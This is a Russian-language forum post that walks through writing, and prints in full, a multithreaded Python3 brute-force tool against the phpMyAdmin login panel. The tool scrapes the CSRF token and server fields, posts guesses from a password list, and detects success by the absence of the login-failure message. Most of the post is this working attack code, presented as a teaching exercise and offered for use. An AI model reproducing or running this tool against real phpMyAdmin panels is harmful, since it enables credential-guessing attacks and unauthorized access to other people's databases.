advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising advertising

Пишем Bruteforce для панели PHPmyadmin с нуля: работаем, используя Python3

BlackPope

Местный
Регистрация
27.04.2020
Сообщения
242
Реакции
34
Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для брутфорс атаки на панель авторизации, на замечательном языке Python3.

Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.

Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.

Что же такое брутфорс атака? Как говорит нам один известный поисковик - брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.

Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.

Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже измененные, повторяем до тех пор пока ответ нас не устроит.



Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.


Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.

Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.

Начинаем писать код

Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.

Нам понадобятся следующие библиотеки:

beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9


Устанавливаем их:

pip3 install requests && pip install bs4 && pip install lxml

Обратите внимание что некоторые библиотеки поддерживаются только в Python3

Для чего они нужны и как мы их будем использовать вы увидите далее.

Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
  1. Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
  2. Механизм попытки авторизации.
  3. Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
  4. Реализовать сам алгоритм перебора паролей.
  5. Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
  • TargetData - для получение данных от панели PhpMyAdmin.
  • PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
  • UserArgument - который будет работать с пользовательскими данными.
  • BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
  • Threads - для методов реализации многопоточности.
Затем импортируем библиотеки:

import requests
import threading
import argparse
import time #
тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4

Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.

Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')


Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе "token" и "server".

Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
  • Они возвращают разные данные.
  • Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
  • Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value


def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value


весь класс:

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')

def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value

def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value


На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".

Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":

class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password


Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.

Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}

request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization


И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True" или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',

'token': self.get_parse_csrf_token()}

request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization


Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.

Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:

class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()


Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')


self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')


Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()

except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()


Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()


Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)


Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:



def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')


self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()


except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')

self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)

def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads


Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.

Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":

class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()


Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.

После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".

В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class BruteForceAttack:

def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:

pass

Остался еще последний (почти) штришок - многопоточность. Объявляем класс "Threads" и наследуем от класса "Thread" из библиотеки "Threading".

Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:

class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list


А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)


По ходу написания статьи я понял, что стоит добавить еще один класс который назвал "StartProgram" с методом "main()".

Вот он:

class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())

def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()


А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".

В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".

А вторая длинной значения которое возвращает его же метод "get_password_list()"

Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.

Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.

Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.

Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:

if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()


И по традиции весь код целиком:

import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')


def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value

def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value

class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,

'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}


request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization

class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')

self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()

except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)

def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads

class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass

class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())

def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()

if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()


Заключение и тестирование нашей программы

Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле. Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.


Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
 
Верх